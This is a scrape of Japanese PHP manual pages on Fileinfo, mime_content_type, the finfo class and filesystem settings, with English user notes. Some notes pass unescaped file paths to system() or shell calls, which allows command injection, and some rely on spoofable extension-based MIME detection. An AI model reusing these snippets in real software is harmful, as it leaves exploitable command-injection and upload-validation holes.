For further info see: http://pecl.php.net/bugs/bug.php?id=7555

Pay attention to comments added by 'christophe dot charron dot xul at gmail dot com'

NOTE: Before upgrading to PHP5.2.5, I was working with PHP5.2.1 and it only required 'magic.mime' file.
php at kingsquare dot nl 23-Jan-2008 07:41
The current version (1.04) doesnt support a different mime.magic database than the server default.

(the documentation is thus not correct)
Ubuntu default location is '/usr/share/file/magic'. In order for the examples to work all finfo_open()-commands must be issued with the extra location accordingly:
<?php
$file = "/path/to/file.jpg";
$handle = finfo_open(FILEINFO_MIME, '/usr/share/file/magic');
$mime_type = finfo_file($handle,$file);
?>
ian at createanet dot co dot uk 02-Nov-2007 08:50
Couldn't get finfo to return the mimetype in the way expected so i made a function to do it with system()

<?php
function get_mime_type($filepath) {
    ob_start();
    system("file -i -b {$filepath}");
    $output = ob_get_clean();
    $output = explode("; ",$output);
    if ( is_array($output) ) {
        $output = $output[0];
    }
    return $output;
}
?>

hope it works for other people too
tularis at php dot net 06-May-2007 12:55
On Windows systems people might find that this always returns "application/x-dpkg".
There are 2 ways of solving this problem:
1. Get the mime-magic database file from GnuWin32 at <http://sourceforge.net/projects/gnuwin32/>
2. You can manually "fix" the mime-magic file by editing it and escaping all lines starting with !, thus changing each one to \!


libmagic のオプションを設定する

  • ≪ finfo_open
  • mime_content_type ≫
  • PHP Manual
  • Fileinfo 関数
  • libmagic のオプションを設定する

finfo_set_flags

finfo::set_flags

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo_set_flags -- finfo::set_flags — libmagic のオプションを設定する

説明

手続き型

finfo_set_flags ( resource $finfo , int $flags ) : bool

オブジェクト指向型

public finfo::set_flags ( int $flags ) : bool

この関数は、さまざまな Fileinfo オプションを設定します。 finfo_open() やその他の Fileinfo 関数で、 オプションを直接指定することも可能です。

パラメータ

finfo

finfo_open() が返す fileinfo リソース。

flags

ひとつあるいは複数のFileinfo 定数の組み合わせ。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルの MIME Content-type を検出する

  • ≪ finfo_set_flags
  • finfo ≫
  • PHP Manual
  • Fileinfo 関数
  • ファイルの MIME Content-type を検出する

mime_content_type

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mime_content_type — ファイルの MIME Content-type を検出する

説明

mime_content_type ( resource|string $filename ) : string|false

magic.mime ファイルの情報を用いて、 ファイルの MIME content type を返します。

パラメータ

filename

調べるファイルへのパス。

返り値

Content type を MIME 形式で返します。 たとえば text/plain あるいは application/octet-stream のような形式です。 失敗した場合に false を返します。

エラー / 例外

失敗したときは E_WARNING が発生します。

例

例1 mime_content_type() の例

<?php
echo mime_content_type('php.gif') . "\n";
echo mime_content_type('test.php');
?>

上の例の出力は以下となります。

image/gif
text/plain

参考

  • finfo_file() - finfo_file() のエイリアス
  • finfo_buffer() - finfo_buffer() のエイリアス

User Contributed Notes

David Spector 09-Jan-2020 08:40
On Windows, PHP 7.0.30 gave the error message "Fatal error: Uncaught Error: Call to undefined function mime_content_type()". I saw the following interesting line in my Apache configuration:

#LoadModule mime_magic_module modules/mod_mime_magic.so

so I tried uncommenting it and restarting the Apache service, but still got the same error.  A Web search shows that this function is deprecated. It appears to have been removed from PHP. Not sure why, but can be worked around with a user function.
Anonymous 19-Mar-2016 08:21
There is a composer package that will do this:
https://github.com/ralouphie/mimey

<?php
$mimes = new \Mimey\MimeTypes;

// Convert extension to MIME type:
$mimes->getMimeType('json'); // application/json

// Convert MIME type to extension:
$mimes->getExtension('application/json'); // json
jacopo dot mazzoni at gmail dot com 16-Aug-2015 09:06
Slight improvement over  Josh Sean's code: this makes a usable and formatted php file containing the latest mime associations ( strictly using the file extension) in an array or if the file_get_contents fails ( say you are offline ) leaves the original file alone.
I made it a bit "dummer" for readability purposes, don't judge me just improve it on your own.

<?php
define('APACHE_MIME_TYPES_URL','http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types');

function generateUpToDateMimeArray($url){
    $s=array();
    $result = @file_get_contents($url);
    if ($result == FALSE )
    {
        $returned = "ERROR";
    }
    else
    {
        foreach(@explode("\n",$result)as $x)
        {
            if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
                for($i=1;$i<$c;$i++)
                    $s[]='    \''.$out[1][$i].'\' => \''.$out[1][0].'\'';
        }
        $returned =  @sort($s)?'<?php' . "\n" . '$mime_types = array(' . "\n" . implode($s,",\n") . "\n);\n" . '?>':false;
    }
    return $returned;
}

    $file_name = 'mime-array.php';
    $data = generateUpToDateMimeArray(APACHE_MIME_TYPES_URL);

    if ($data != "ERROR")
    {
        $file = fopen($file_name, 'wb') or die("cannot open $file_name\n");
        fwrite($file, $data ) or die("cannot write data\n");
        fclose($file);
        echo "updated";
    }
    else
    {
        echo "faliure";
    }

?>
All you need to do is run it once and in your code you can simply add these two lines:

<?php
include 'mime-array.php';
global $mime_types;
?>

enjoy
alex at webedge dot ca 10-Apr-2015 12:42
// Here is a working version of a function that fetches the meme types from apache's built in mime list and creates an array of which the keys are the file extensions:

function generateUpToDateMimeArray($url){
    $return = array();
    $mimes = file_get_contents('http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types'); // make sure that allow_url_fopen is enabled!

    preg_match_all('#^([^\s]{2,}?)\s+(.+?)$#ism', $mimes, $matches, PREG_SET_ORDER);

    foreach ($matches as $match){
        $exts = split(" ", $match[2]);
        foreach ($exts as $ext){
            $return[$ext]=$match[1];
        }
    }
    return $return;
}

// usage:

$typeMime = generateUpToDateMimeArray();
echo $typeMime['gif'];
Bond Akinmade 01-Mar-2015 02:11
using
<?php
function detectFileMimeType($filename='')
{
    $filename = escapeshellcmd($filename);
    $command = "file -b --mime-type -m /usr/share/misc/magic {$filename}";

    $mimeType = shell_exec($command);

    return trim($mimeType);
}
?>
should work on most shared linux hosts without errors. It should also work on Windows hosts with msysgit installed.
ppaster at mailinator dot com 22-Jul-2014 09:34
additional to svogal's video files:
'mp4' => 'video/mp4',
what also works:
'mp4' => 'audio/mp4',
Josh Sean 05-Mar-2012 07:04
Fast generation of uptodate mime types:

<?php
define('APACHE_MIME_TYPES_URL','http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types');

function generateUpToDateMimeArray($url){
    $s=array();
    foreach(@explode("\n",@file_get_contents($url))as $x)
        if(isset($x[0])&&$x[0]!=='#'&&preg_match_all('#([^\s]+)#',$x,$out)&&isset($out[1])&&($c=count($out[1]))>1)
            for($i=1;$i<$c;$i++)
                $s[]='&nbsp;&nbsp;&nbsp;\''.$out[1][$i].'\' => \''.$out[1][0].'\'';
    return @sort($s)?'$mime_types = array(<br />'.implode($s,',<br />').'<br />);':false;
}

echo
generateUpToDateMimeArray(APACHE_MIME_TYPES_URL);
?>

Output:
$mime_types = array(
   '123' => 'application/vnd.lotus-1-2-3',
   '3dml' => 'text/vnd.in3d.3dml',
   '3g2' => 'video/3gpp2',
   '3gp' => 'video/3gpp',
   '7z' => 'application/x-7z-compressed',
   'aab' => 'application/x-authorware-bin',
   'aac' => 'audio/x-aac',
   'aam' => 'application/x-authorware-map',
   'aas' => 'application/x-authorware-seg',
...

Enjoy.
john dot howard at prismmg dot com 26-Oct-2009 03:43
Here's a simple function to return MIME types, based on the Apache mime.types file. [The one in my previous submission, which has since been replaced by this one] only works properly if mime.types is formatted as Windows text. The updated version below corrects this problem. Thanks to Mike for pointing this out.

<?php
function get_mime_type($filename, $mimePath = '../etc') {
   $fileext = substr(strrchr($filename, '.'), 1);
   if (empty($fileext)) return (false);
   $regex = "/^([\w\+\-\.\/]+)\s+(\w+\s)*($fileext\s)/i";
   $lines = file("$mimePath/mime.types");
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      $line = rtrim($line) . " ";
      if (!preg_match($regex, $line, $matches)) continue; // no match to the extension
      return ($matches[1]);
   }
   return (false); // no match at all
}
?>

Notes:
[1] Requires mime.types file distributed with Apache (normally found at ServerRoot/conf/mime.types).  If you are using shared hosting, download the file with the Apache distro and then upload it to a directory on your web server that php has access to.

[2] First param is the filename (required). Second parameter is path to mime.types file (optional; defaults to home/etc/).

[3] Based on MIME types registered with IANA (http://www.iana.org/assignments/media-types/index.html). Recognizes 630 extensions associated with 498 MIME types.

[4] Asserts MIME type based on filename extension. Does not examine the actual file; the file does not even have to exist.

[5] Examples of use:
>> echo get_mime_type('myFile.xml');
>> application/xml
>> echo get_mime_type('myPath/myFile.js');
>> application/javascript
>> echo get_mime_type('myPresentation.ppt');
>> application/vnd.ms-powerpoint
>> echo get_mime_type('http://mySite.com/myPage.php);
>> application/x-httpd-php
>> echo get_mime_type('myPicture.jpg');
>> image/jpeg
>> echo get_mime_type('myMusic.mp3');
>> audio/mpeg
and so on...

To create an associative array containing MIME types, use:
<?php
function get_mime_array($mimePath = '../etc')
{
   $regex = "/([\w\+\-\.\/]+)\t+([\w\s]+)/i";
   $lines = file("$mimePath/mime.types", FILE_IGNORE_NEW_LINES);
   foreach($lines as $line) {
      if (substr($line, 0, 1) == '#') continue; // skip comments
      if (!preg_match($regex, $line, $matches)) continue; // skip mime types w/o any extensions
      $mime = $matches[1];
      $extensions = explode(" ", $matches[2]);
      foreach($extensions as $ext) $mimeArray[trim($ext)] = $mime;
   }
   return ($mimeArray);
}
?>
Bob 21-Jun-2009 04:25
I see a lot of comments suggesting doing file extension sniffing (i.e. assuming .jpg files are JPEG images) when proper file-type sniffing functions are unavailable.
I want to point out that there is a much more accurate way.
If neither mime_content_type() nor Fileinfo is available to you and you are running *any* UNIX variant since the 70s, including Mac OS, OS X, Linux, etc. (and most web hosting is), just make a system call to 'file(1)'.
Doing something like this:
<?php
echo system("file -bi '<file path>'");
?>
will output something like "text/html; charset=us-ascii". Some systems won't add the charset bit, but strip it off just in case.
The '-bi' bit is important. However, you can use a command like this:
<?php
echo system("file -b '<file path>'"); // without the 'i' after '-b'
?>
to output a human-readable string, like "HTML document text", which can sometimes be useful.
The only drawback is that your scripts will not work on Windows, but is this such a problem? Just about all web hosts use a UNIX.
It is a far better way than just examining the file extension.
svogal 26-Dec-2008 07:17
<?php
if(!function_exists('mime_content_type')) {

    function mime_content_type($filename) {

        $mime_types = array(

            'txt' => 'text/plain',
            'htm' => 'text/html',
            'html' => 'text/html',
            'php' => 'text/html',
            'css' => 'text/css',
            'js' => 'application/javascript',
            'json' => 'application/json',
            'xml' => 'application/xml',
            'swf' => 'application/x-shockwave-flash',
            'flv' => 'video/x-flv',

            // images
            'png' => 'image/png',
            'jpe' => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'gif' => 'image/gif',
            'bmp' => 'image/bmp',
            'ico' => 'image/vnd.microsoft.icon',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'svg' => 'image/svg+xml',
            'svgz' => 'image/svg+xml',

            // archives
            'zip' => 'application/zip',
            'rar' => 'application/x-rar-compressed',
            'exe' => 'application/x-msdownload',
            'msi' => 'application/x-msdownload',
            'cab' => 'application/vnd.ms-cab-compressed',

            // audio/video
            'mp3' => 'audio/mpeg',
            'qt' => 'video/quicktime',
            'mov' => 'video/quicktime',

            // adobe
            'pdf' => 'application/pdf',
            'psd' => 'image/vnd.adobe.photoshop',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',

            // ms office
            'doc' => 'application/msword',
            'rtf' => 'application/rtf',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',

            // open office
            'odt' => 'application/vnd.oasis.opendocument.text',
            'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        );

        $ext = strtolower(array_pop(explode('.',$filename)));
        if (array_key_exists($ext, $mime_types)) {
            return $mime_types[$ext];
        }
        elseif (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME);
            $mimetype = finfo_file($finfo, $filename);
            finfo_close($finfo);
            return $mimetype;
        }
        else {
            return 'application/octet-stream';
        }
    }
}
?>
geompse 22-Sep-2008 11:46
Lukas V is IMO missing some point. The MIME type of a file may not be corresponding to the file suffix.

Imagine someone would obfuscate some PHP code in a .gif file, the file suffix would be 'GIF' but the MIME would be text/plain or even text/html.

Another example is files fetched via a distant server (wget / fopen / file / fsockopen...). The server can issue an error, i.e. 404 Not Found, wich again is text/html, whatever you save the file to (download_archive.rar).

His provided function should begin by the test of the function existancy like :

function MIMEalternative($file)
{
    if(function_exists('mime_content_type'))
        return mime_content_type($file);
    else
        return <lukas_v.MIMEfunction>($file);
}
php [spat] hm2k.org 21-Aug-2008 10:52
I also had issues with this function.

The issue was that it would almost always return "text/plain".

echo ini_get('mime_magic.magicfile'); // returns /etc/httpd/conf/magic

I found that I needed the OS' magic.mime file instead.

You can either copy it to the existing location, or update your php.ini, you cannot use ini_set().

[root@blade conf]# mv magic magic.old
[root@blade conf]# cp /usr/share/magic.mime magic
[root@blade conf]# apachectl graceful

Note: you will see that I have gracefully restarted apache to ensure it has taken affect.
memi aet liip doet ch 06-Jun-2008 02:59
Regarding serkanyersen's example : It is advisable to change the regular expression to something more precise like

preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $m);

This makes sure that only the last few characters are taken. The original expression would not work if the filename is a relative path.
mami at madagascarsurlenet dot com 13-Nov-2007 10:58
Since I enabled the mime_magic extension on my IIS, I also got the error message "invalid magic file, disabled" in my phpinfo. After I add these lines to my php.ini, the message disappeared and it works great!

mime_magic.debug = Off
mime_magic.magicfile ="D:\PHP5\extras\magic.mime"

mime_magic.debug is by default off but without this line it fails. I'm using PHP 5.2.5.
Sune Jensen 29-Aug-2007 09:16
For me mime_content_type didn't work in Linux before I added

mime_magic.magicfile = "/usr/share/magic.mime"

to php.ini (remember to find the correct path to mime.magic)
Quis at IHAVEGOTSPAMENOUGH dot omicidio dot nl 12-Feb-2007 09:28
<?PHP
  function qmimetype($file) {
    $ext=array_pop(explode('.',$file));
    foreach(file('/usr/local/etc/apache22/mime.types') as $line)
      if(preg_match('/^([^#]\S+)\s+.*'.$ext.'.*$/',$line,$m))
        return $m[1];
    return 'application/octet-stream';
  }
?>

Not perfect, but works good enough for me ;)
tree2054 using hotmail 03-Nov-2006 05:59
The correct little correction:

exec will return the mime with a newline at the end, the trim() should be called with the result of exec, not the other way around.

<?php

if ( ! function_exists ( 'mime_content_type ' ) )
{
   function mime_content_type ( $f )
   {
       return trim ( exec ('file -bi ' . escapeshellarg ( $f ) ) ) ;
   }
}

?>
15-Oct-2006 07:06
if you use a transparent 'spacer' GIF i've found it needs to be a around 25x25 for it to register as 'image/gif'. otherwise it's read in as 'text/plain'.
webmaster at cafe-clope dot net 23-Feb-2006 05:31
Completing <some dude AT somewhere DOT com> comment:

0 string < ? php application/x-httpd-php

and string detection on text files may fail if you check a file encoded with signed UTF-8. The UTF-8 signature is a two bytes code (0xFF 0xFE) that prepends the file in order to force UTF-8 recognition (you may check it on an hexadecimal editor).
some dude AT somewhere DOT com 07-Oct-2005 09:44
I added these two lines to my magic.mime file:

0 string \<?php application/x-httpd-php
0 string \<?xml text/xml

The first one may not work if "<?php" is not at the very beginning of your file, e.g., if some HTML preceeds the first bit of PHP code. The second one should work because "<?xml" *should* be the first thing in every XML file.
ginnsu at arcee dot ca 08-Mar-2005 10:14
The function mime_content_type only worked for me on Microsoft Windows after I added the directive "mime_magic.debug" to my php.ini with the value of "On". The default value appears to be "Off". Exampe:

[mime_magic]
mime_magic.debug = On
mime_magic.magicfile = "c:\php\extras\magic.mime"


finfo クラス

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

はじめに

このクラスは、fileinfo 関数にオブジェクト指向のインターフェイスを提供します。

クラス概要

finfo {
public __construct ( int $flags = FILEINFO_NONE , string $magic_database = "" )
public buffer ( string $string , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false
public file ( string $filename , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false
public set_flags ( int $flags ) : bool
}

目次

  • finfo::buffer — finfo_buffer() のエイリアス
  • finfo::__construct — finfo_open のエイリアス
  • finfo::file — finfo_file() のエイリアス
  • finfo::set_flags — finfo_set_flags() のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


finfo_buffer() のエイリアス

  • ≪ finfo
  • finfo::__construct ≫
  • PHP Manual
  • finfo
  • finfo_buffer() のエイリアス

finfo::buffer

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::buffer — finfo_buffer() のエイリアス

説明

public finfo::buffer ( string $string , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false

この関数は次の関数のエイリアスです。 finfo_buffer()

User Contributed Notes

There are no user contributed notes for this page.


finfo_open のエイリアス

  • ≪ finfo::buffer
  • finfo::file ≫
  • PHP Manual
  • finfo
  • finfo_open のエイリアス

finfo::__construct

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::__construct — finfo_open() のエイリアス

説明

public finfo::__construct ( int $flags = FILEINFO_NONE , string $magic_database = "" )

この関数は次の関数のエイリアスです。 finfo_open()

User Contributed Notes

There are no user contributed notes for this page.


finfo_file() のエイリアス

  • ≪ finfo::__construct
  • finfo::set_flags ≫
  • PHP Manual
  • finfo
  • finfo_file() のエイリアス

finfo::file

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::file — finfo_file() のエイリアス

説明

public finfo::file ( string $filename , int $flags = FILEINFO_NONE , resource|null $context = null ) : string|false

この関数は次の関数のエイリアスです。 finfo_file()

User Contributed Notes

There are no user contributed notes for this page.


finfo_set_flags() のエイリアス

  • ≪ finfo::file
  • ファイルシステム ≫
  • PHP Manual
  • finfo
  • finfo_set_flags() のエイリアス

finfo::set_flags

(PHP >= 5.3.0, PHP 7, PHP 8, PECL fileinfo >= 0.1.0)

finfo::set_flags — finfo_set_flags() のエイリアス

説明

public finfo::set_flags ( int $flags ) : bool

この関数は次の関数のエイリアスです。 finfo_set_flags()

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステム

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • ファイルシステム 関数
    • basename — パスの最後にある名前の部分を返す
    • chgrp — ファイルのグループを変更する
    • chmod — ファイルのモードを変更する
    • chown — ファイルの所有者を変更する
    • clearstatcache — ファイルのステータスのキャッシュをクリアする
    • copy — ファイルをコピーする
    • delete — unlink か unset を参照してください
    • dirname — 親ディレクトリのパスを返す
    • disk_free_space — ファイルシステムあるいはディスクパーティション上で利用可能な領域を返す
    • disk_total_space — ファイルシステムあるいはディスクパーティションの全体サイズを返す
    • diskfreespace — disk_free_space のエイリアス
    • fclose — オープンされたファイルポインタをクローズする
    • feof — ファイルポインタがファイル終端に達しているかどうか調べる
    • fflush — 出力をファイルにフラッシュする
    • fgetc — ファイルポインタから1文字取り出す
    • fgetcsv — ファイルポインタから行を取得し、CSVフィールドを処理する
    • fgets — ファイルポインタから 1 行取得する
    • fgetss — ファイルポインタから 1 行取り出し、HTML タグを取り除く
    • file_exists — ファイルまたはディレクトリが存在するかどうか調べる
    • file_get_contents — ファイルの内容を全て文字列に読み込む
    • file_put_contents — データをファイルに書き込む
    • file — ファイル全体を読み込んで配列に格納する
    • fileatime — ファイルの最終アクセス時刻を取得する
    • filectime — ファイルの inode 変更時刻を取得する
    • filegroup — ファイルのグループを取得する
    • fileinode — ファイルの inode を取得する
    • filemtime — ファイルの更新時刻を取得する
    • fileowner — ファイルの所有者を取得する
    • fileperms — ファイルのパーミッションを取得する
    • filesize — ファイルのサイズを取得する
    • filetype — ファイルタイプを取得する
    • flock — 汎用のファイルロックを行う
    • fnmatch — ファイル名がパターンにマッチするか調べる
    • fopen — ファイルまたは URL をオープンする
    • fpassthru — ファイルポインタ上に残っているすべてのデータを出力する
    • fputcsv — 行を CSV 形式にフォーマットし、ファイルポインタに書き込む
    • fputs — fwrite のエイリアス
    • fread — バイナリセーフなファイルの読み込み
    • fscanf — フォーマットに基づきファイルからの入力を処理する
    • fseek — ファイルポインタを移動する
    • fstat — オープンしたファイルポインタからファイルに関する情報を取得する
    • ftell — ファイルの読み書き用ポインタの現在位置を返す
    • ftruncate — ファイルを指定した長さに丸める
    • fwrite — バイナリセーフなファイル書き込み処理
    • glob — パターンにマッチするパス名を探す
    • is_dir — ファイルがディレクトリかどうかを調べる
    • is_executable — ファイルが実行可能かどうかを調べる
    • is_file — 通常ファイルかどうかを調べる
    • is_link — ファイルがシンボリックリンクかどうかを調べる
    • is_readable — ファイルが存在し、読み込み可能であるかどうかを知る
    • is_uploaded_file — HTTP POST でアップロードされたファイルかどうかを調べる
    • is_writable — ファイルが書き込み可能かどうかを調べる
    • is_writeable — is_writable のエイリアス
    • lchgrp — シンボリックリンクのグループ所有権を変更する
    • lchown — シンボリックリンクの所有者を変更する
    • link — ハードリンクを作成する
    • linkinfo — リンクに関する情報を取得する
    • lstat — ファイルあるいはシンボリックリンクの情報を取得する
    • mkdir — ディレクトリを作る
    • move_uploaded_file — アップロードされたファイルを新しい位置に移動する
    • parse_ini_file — 設定ファイルをパースする
    • parse_ini_string — 設定文字列をパースする
    • pathinfo — ファイルパスに関する情報を返す
    • pclose — プロセスのファイルポインタをクローズする
    • popen — プロセスへのファイルポインタをオープンする
    • readfile — ファイルを出力する
    • readlink — シンボリックリンク先を返す
    • realpath_cache_get — realpath キャッシュ・エントリーを取得
    • realpath_cache_size — realpath キャッシュサイズを取得
    • realpath — 正規化された絶対パス名を返す
    • rename — ファイルをリネームする
    • rewind — ファイルポインタの位置を先頭に戻す
    • rmdir — ディレクトリを削除する
    • set_file_buffer — stream_set_write_buffer のエイリアス
    • stat — ファイルに関する情報を取得する
    • symlink — シンボリックリンクを作成する
    • tempnam — 一意なファイル名を生成する
    • tmpfile — テンポラリファイルを作成する
    • touch — ファイルの最終アクセス時刻および最終更新日をセットする
    • umask — 現在の umask を変更する
    • unlink — ファイルを削除する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールを構築するには外部ライブラリを必要としませんが、 Linux 上で LFS (ラージファイル) をサポートする PHP を希望する場合は、 最新の glibc を入手し、次のコンパイラフラグ -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 を付けて PHP をコンパイルする必要があります。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

ファイルシステムおよびストリーム設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
allow_url_fopen | "1" | PHP_INI_SYSTEM |
allow_url_include | "0" | PHP_INI_SYSTEM | PHP 5.2.0 から利用可能です。PHP 7.4.0 以降は非推奨になりました。
user_agent | NULL | PHP_INI_ALL |
default_socket_timeout | "60" | PHP_INI_ALL |
from | "" | PHP_INI_ALL |
auto_detect_line_endings | "0" | PHP_INI_ALL |
sys_temp_dir | "" | PHP_INI_SYSTEM | PHP 5.5.0 から使用可能です。

以下に設定ディレクティブに関する 簡単な説明を示します。

allow_url_fopen bool

このオプションにより、URL対応のfopenラッパーが使用可能となり、 ファイルのようにURLオブジェクトをアクセスできるようになります。 デフォルトのラッパーが、ftpまたはhttpプロトコルを用いて リモートファイルに アクセスするために提供されています。zlibのようないくつかの拡張モジュールが ラッパーを追加することがあります。

allow_url_include bool

このオプションを指定すると include, include_once, require, require_once で URL 対応の fopen ラッパーが使用できるようになります。

注意:

この設定を使用するには、allow_url_fopen が on でないといけません。

user_agent string

送信する PHP 用のユーザーエージェントを定義します。

default_socket_timeout int

ソケットベースのストリームのデフォルトの有効時間(単位は秒)を定義します。 負の値を指定した場合、タイムアウトしません。

from string

認証なしの FTP 接続で使ったり、あるいは HTTP 接続の From ヘッダで使ったりするためのメールアドレス。 それぞれ、ftp ラッパーおよび http ラッパーに対応します。

auto_detect_line_endings bool

onにした場合、PHPは fgets() および file() により読み込まれたデータを評価し、UNIX、MS-DOS、Machintoshの行末 表記を使用しているかどうかを調べます。

これにより、PHPがMacintoshシステムと相互運用できるようになりますが、 デフォルトはOffとなっています。これは、最初の行の行末表記を検出 する際にごく僅かな性能劣化があるためと、UNIXシステムのもとで復改 文字を項目セパレータとして使用している人が従来のバージョンと互換 性がない動作であると感じる可能性があるためです。

sys_temp_dir string

User Contributed Notes

Chris 27-Feb-2017 05:14
If you want to use auto_detect_line_endings, e.g. to recognize carriage return on a Classic Mac file, you must set it before calling fopen. You can then reset it to its original value. E.g,

$original = ini_get("auto_detect_line_endings");
ini_set("auto_detect_line_endings", true);
$handle = fopen($someFile, "r");
ini_set("auto_detect_line_endings", $original);
while (($line = fgets($handle)) !== false) {
  echo "$line\n"; // etc
}

(Reference: https://bugs.php.net/bug.php?id=63341&edit=2)

Keep in mind also that Mac OS X bash does not handle carriage returns well, so if it seems like your code is not working when testing from the command line, redirect your output to a file and then try looking at that. On my system, doing it directly on the command line only showed the last line (with or without this setting turned on).

Also note that this will not do what you want if you have a file with mixed line endings (!). If you really care about that case, you have to do something else, like run the file through a translation first and then read it.
traian dot bratucu at gmail dot com 14-Feb-2017 08:16
Please note that although you may try to set default_socket_timeout to something over 20s, you may get tricked by the Linux kernel.

The default value of tcp_syn_retries is set to 5, which will effectively timeout any TCP connection after roughly 20s, no matter what limits you set in PHP higher than this.

The value can be altered by root only, like this:

 echo 6 > /proc/sys/net/ipv4/tcp_syn_retries

A value of 6, as above, will give you a timeout up to ~45s.
Pistachio 31-Jan-2012 09:53
I'm surprised this isn't mentioned in docs here, but to set these values at runtime use "ini_set()". For example:

<?php
ini_set("auto_detect_line_endings", true);

// Now I can invoke fgets() on files that contain silly \r line endings.
?>


リソース型

ファイルシステム関数では、ストリームリソースを用います。 ストリームに関するドキュメントは、ひとつの章として独立しています。 ストリーム を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SEEK_SET (int)
SEEK_CUR (int)
SEEK_END (int)
LOCK_SH (int)
LOCK_EX (int)
LOCK_UN (int)
LOCK_NB (int)
GLOB_BRACE (int)
GLOB_ONLYDIR (int)
GLOB_MARK (int)
GLOB_NOSORT (int)
GLOB_NOCHECK (int)
GLOB_NOESCAPE (int)
GLOB_AVAILABLE_FLAGS (int)
PATHINFO_DIRNAME (int)
PATHINFO_BASENAME (int)
PATHINFO_EXTENSION (int)
PATHINFO_FILENAME (int)
PHP 5.2.0 以降。
FILE_USE_INCLUDE_PATH (int)
filename を include_path から探します。
FILE_NO_DEFAULT_CONTEXT (int)
FILE_APPEND (int)
既存のファイルに追記します。
FILE_IGNORE_NEW_LINES (int)
EOL (行末) 文字を取り除きます。
FILE_SKIP_EMPTY_LINES (int)
空行を読み飛ばします。
FILE_BINARY (int)

バイナリモード (PHP 5.2.7 以降)。

注意:

この定数は何の効果もありません。 前方互換性 のためだけに用意されています。

FILE_TEXT (int)

テキストモード (PHP 5.2.7 以降)。

注意:

この定数は何の効果もありません。 前方互換性 のためだけに用意されています。

INI_SCANNER_NORMAL (int)
通常の INI スキャナモード (PHP 5.3 以降)。
INI_SCANNER_RAW (int)
生の INI スキャナモード (PHP 5.3 以降)。
INI_SCANNER_TYPED (int)
型つきの INI スキャナモード (PHP 5.6.1 以降)。
FNM_NOESCAPE (int)
バックスラッシュのエスケープを無効にする。
FNM_PATHNAME (int)
文字列中のスラッシュが、指定したパターン内のスラッシュにのみマッチする。
FNM_PERIOD (int)
文字列の先頭のピリオドが、指定したパターン内のピリオドにのみマッチする。
FNM_CASEFOLD (int)
大文字小文字を区別しないマッチを行う。GNU 拡張の一部。

User Contributed Notes

msegit at post dot pl 14-May-2019 12:14
GLOB_ERR ?
( https://www.php.net/manual/en/function.glob.php )


ファイルシステム 関数

参考

関連する関数については、ディレクトリ およびプログラム実行の節を 参照してください。

リモートファイルとして使用することができる種々のURLラッパーの一覧 と説明については、サポートするプロトコル/ラッパーも参照してください。

目次

  • basename — パスの最後にある名前の部分を返す
  • chgrp — ファイルのグループを変更する
  • chmod — ファイルのモードを変更する
  • chown — ファイルの所有者を変更する
  • clearstatcache — ファイルのステータスのキャッシュをクリアする
  • copy — ファイルをコピーする
  • delete — unlink か unset を参照してください
  • dirname — 親ディレクトリのパスを返す
  • disk_free_space — ファイルシステムあるいはディスクパーティション上で利用可能な領域を返す
  • disk_total_space — ファイルシステムあるいはディスクパーティションの全体サイズを返す
  • diskfreespace — disk_free_space のエイリアス
  • fclose — オープンされたファイルポインタをクローズする
  • feof — ファイルポインタがファイル終端に達しているかどうか調べる
  • fflush — 出力をファイルにフラッシュする
  • fgetc — ファイルポインタから1文字取り出す
  • fgetcsv — ファイルポインタから行を取得し、CSVフィールドを処理する
  • fgets — ファイルポインタから 1 行取得する
  • fgetss — ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • file_exists — ファイルまたはディレクトリが存在するかどうか調べる
  • file_get_contents — ファイルの内容を全て文字列に読み込む
  • file_put_contents — データをファイルに書き込む
  • file — ファイル全体を読み込んで配列に格納する
  • fileatime — ファイルの最終アクセス時刻を取得する
  • filectime — ファイルの inode 変更時刻を取得する
  • filegroup — ファイルのグループを取得する
  • fileinode — ファイルの inode を取得する
  • filemtime — ファイルの更新時刻を取得する
  • fileowner — ファイルの所有者を取得する
  • fileperms — ファイルのパーミッションを取得する
  • filesize — ファイルのサイズを取得する
  • filetype — ファイルタイプを取得する
  • flock — 汎用のファイルロックを行う
  • fnmatch — ファイル名がパターンにマッチするか調べる
  • fopen — ファイルまたは URL をオープンする
